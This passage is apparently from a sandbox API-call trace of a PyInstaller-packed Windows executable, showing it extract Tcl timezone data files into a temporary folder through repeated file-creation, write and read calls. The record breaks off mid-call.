lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.323] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.323] GetFileType (hFile=0x10c) returned 0x1 [0039.323] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.323] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.323] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.323] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.323] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.323] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.323] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.323] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.323] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.323] CloseHandle (hObject=0x10c) returned 1 [0039.323] GetLastError () returned 0x0 [0039.323] SetLastError (dwErrCode=0x0) [0039.323] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.323] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.323] GetFileType (hFile=0x10c) returned 0x1 [0039.323] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.323] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.324] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.324] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.324] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.324] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.324] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.324] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.324] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.324] CloseHandle (hObject=0x10c) returned 1 [0039.324] GetLastError () returned 0x0 [0039.324] SetLastError (dwErrCode=0x0) [0039.324] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\North_Dakota") returned 77 [0039.324] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\North_Dakota" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\north_dakota"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.324] GetLastError () returned 0x2 [0039.324] SetLastError (dwErrCode=0x2) [0039.324] GetLastError () returned 0x2 [0039.324] SetLastError (dwErrCode=0x2) [0039.324] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\North_Dakota", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\North_Dakota", lpFilePart=0x0) returned 0x4c [0039.324] GetLastError () returned 0x2 [0039.324] SetLastError (dwErrCode=0x2) [0039.324] GetLastError () returned 0x2 [0039.324] SetLastError (dwErrCode=0x2) [0039.324] GetLastError () returned 0x2 [0039.324] SetLastError (dwErrCode=0x2) [0039.324] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\North_Dakota" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\north_dakota"), lpSecurityAttributes=0x0) returned 1 [0039.325] GetLastError () returned 0x2 [0039.325] SetLastError (dwErrCode=0x2) [0039.325] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\North_Dakota\\Beulah") returned 84 [0039.325] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\North_Dakota\\Beulah" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\north_dakota\\beulah"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.325] GetLastError () returned 0x2 [0039.325] SetLastError (dwErrCode=0x2) [0039.325] GetLastError () returned 0x2 [0039.325] SetLastError (dwErrCode=0x2) [0039.325] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\North_Dakota\\Beulah", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\North_Dakota\\Beulah", lpFilePart=0x0) returned 0x53 [0039.325] GetLastError () returned 0x2 [0039.325] SetLastError (dwErrCode=0x2) [0039.326] GetLastError () returned 0x2 [0039.326] SetLastError (dwErrCode=0x2) [0039.326] GetLastError () returned 0x2 [0039.326] SetLastError (dwErrCode=0x2) [0039.326] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\North_Dakota\\Beulah") returned 84 [0039.326] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.326] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\North_Dakota\\Beulah" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\north_dakota\\beulah"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.326] GetFileType (hFile=0x10c) returned 0x1 [0039.326] htonl (hostlong=0x56200000) returned 0x2056 [0039.326] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0039.327] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.327] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x56, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x56, lpOverlapped=0x0) returned 1 [0039.327] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.327] CloseHandle (hObject=0x10c) returned 1 [0039.328] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.329] htonl (hostlong=0x40000000) returned 0x40 [0039.329] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.329] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.329] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.329] GetFileType (hFile=0x10c) returned 0x1 [0039.329] htonl (hostlong=0x76ec5900) returned 0x59ec76 [0039.329] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5e9c76, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.329] htonl (hostlong=0x83060000) returned 0x683 [0039.333] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x683) returned 0x55e278 [0039.333] htonl (hostlong=0x83060000) returned 0x683 [0039.333] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.333] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.333] htonl (hostlong=0x56200000) returned 0x2056 [0039.333] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2056) returned 0x561090 [0039.334] htonl (hostlong=0x83060000) returned 0x683 [0039.334] htonl (hostlong=0x56200000) returned 0x2056 [0039.334] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x5630f0 [0039.334] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5630f0 | out: hHeap=0x530000) returned 1 [0039.334] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0039.334] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.334] CloseHandle (hObject=0x10c) returned 1 [0039.334] GetLastError () returned 0x0 [0039.334] SetLastError (dwErrCode=0x0) [0039.334] GetLastError () returned 0x0 [0039.334] SetLastError (dwErrCode=0x0) [0039.334] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.334] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.334] GetFileType (hFile=0x10c) returned 0x1 [0039.334] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.334] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.334] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.334] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.334] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.334] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.335] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.335] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.335] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.335] CloseHandle (hObject=0x10c) returned 1 [0039.335] GetLastError () returned 0x0 [0039.335] SetLastError (dwErrCode=0x0) [0039.335] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.335] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.335] GetFileType (hFile=0x10c) returned 0x1 [0039.335] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.335] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.335] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.335] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.335] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.335] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.335] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.335] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.335] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.335] CloseHandle (hObject=0x10c) returned 1 [0039.335] GetLastError () returned 0x0 [0039.335] SetLastError (dwErrCode=0x0) [0039.335] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.335] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.336] GetFileType (hFile=0x10c) returned 0x1 [0039.336] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.336] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.336] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.336] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.336] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.336] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.336] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.336] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.336] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.336] CloseHandle (hObject=0x10c) returned 1 [0039.336] GetLastError () returned 0x0 [0039.336] SetLastError (dwErrCode=0x0) [0039.336] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\North_Dakota") returned 77 [0039.336] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\North_Dakota" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\north_dakota"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.336] GetFileType (hFile=0x10c) returned 0x1 [0039.336] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.336] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.336] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.336] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.336] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.336] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.337] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.337] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.337] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.337] CloseHandle (hObject=0x10c) returned 1 [0039.337] GetLastError () returned 0x0 [0039.337] SetLastError (dwErrCode=0x0) [0039.337] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\North_Dakota\\Center") returned 84 [0039.337] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\North_Dakota\\Center" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\north_dakota\\center"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.337] GetLastError () returned 0x2 [0039.337] SetLastError (dwErrCode=0x2) [0039.337] GetLastError () returned 0x2 [0039.337] SetLastError (dwErrCode=0x2) [0039.337] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\North_Dakota\\Center", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\North_Dakota\\Center", lpFilePart=0x0) returned 0x53 [0039.337] GetLastError () returned 0x2 [0039.337] SetLastError (dwErrCode=0x2) [0039.337] GetLastError () returned 0x2 [0039.337] SetLastError (dwErrCode=0x2) [0039.337] GetLastError () returned 0x2 [0039.337] SetLastError (dwErrCode=0x2) [0039.337] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\North_Dakota\\Center") returned 84 [0039.337] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.337] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\North_Dakota\\Center" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\north_dakota\\center"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.338] GetFileType (hFile=0x10c) returned 0x1 [0039.338] htonl (hostlong=0x56200000) returned 0x2056 [0039.338] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0039.340] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.340] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x56, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x56, lpOverlapped=0x0) returned 1 [0039.340] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.340] CloseHandle (hObject=0x10c) returned 1 [0039.341] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.342] htonl (hostlong=0x40000000) returned 0x40 [0039.342] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.342] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.342] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.342] GetFileType (hFile=0x10c) returned 0x1 [0039.342] htonl (hostlong=0xf9f25900) returned 0x59f2f9 [0039.342] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5ea2f9, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.342] htonl (hostlong=0x88060000) returned 0x688 [0039.342] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x688) returned 0x55e278 [0039.342] htonl (hostlong=0x88060000) returned 0x688 [0039.342] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.343] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: 